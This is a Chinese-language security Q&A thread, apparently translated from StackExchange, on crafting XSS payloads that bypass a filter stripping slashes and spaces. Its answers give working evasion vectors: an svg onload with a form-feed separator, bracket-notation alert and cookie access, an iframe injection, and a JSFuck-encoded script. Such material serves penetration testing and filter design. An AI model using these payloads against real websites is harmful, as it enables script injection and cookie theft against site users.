什么是没有正斜杠和空格的好的 XSS 向量?

信息安全 xss javascript 脆弱性
2021-08-19 14:00:08

我需要一个不使用正斜杠或空格的 XSS 向量。我浏览了数百个向量的列表,但它们通常具有这两个向量中的一个。空格被 URL 编码,斜线后的任何内容都被删除。

我已经尝试过诸如 之类的东西<script\src=*>,但是根据我的理解,您需要一个正斜杠才能使它起作用。

3个回答

没有空格,没有斜线:

<svg•onload=alert(1)>

以上应该是换页符 ( 0x0c),但 SE 不允许在帖子中使用。看看它是如何在这里运行的。

如果没有实际的漏洞摆在我面前,很难想出一个向量,但在过去,当我遇到此类问题时,我会采用非字母数字的方式来利用它。这个博客很好地描述了它是如何完成的。这个馅饼中也有一些向量。

我将假设您有一种执行脚本的方法,但您只需要执行正确的有效负载即可。从上面引用的博客:

由于 JavaScript 有两种不同的语法形式来访问属性,因此您可以像访问字典一样访问 Object 方法:

object.method(arguments) === object["method"](arguments)

因此,使用这种方法,您的有效负载可能类似于:

this["alert"]("xss")

如果你想取出 cookie,你也可以使用

this["alert"](this["document"]["cookie"])

使用这两种方法中的任何一种都有望获得您正在寻找的代码执行。这些没有空格或斜杠 - 认为您仍然需要在某种属性内,或者您应该能够将其包含在<script>标签中。在某些浏览器中,您可以尝试类似的东西<script>{your vector}<script>,它可能会起作用(我记得前一段时间它在 IE 上对我有用)

编辑:如果这只是输入验证漏洞的概念证明,您还可以嵌入 iFrame。同样,根据浏览器的不同,iFrame 不需要结束标记。所以<iframe\src='www.google.com'>可能只是做这项工作。

我知道我参加聚会有点晚了,但还有另一个有效的媒介。对有效载荷进行编码。这是触发警报的示例有效负载:

<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>

jsfiddle 在这里没有空格,什么都没有。有效载荷由六个字符组成,![]+(). 不涉及空间。

您可以使用此工具对有效负载进行编码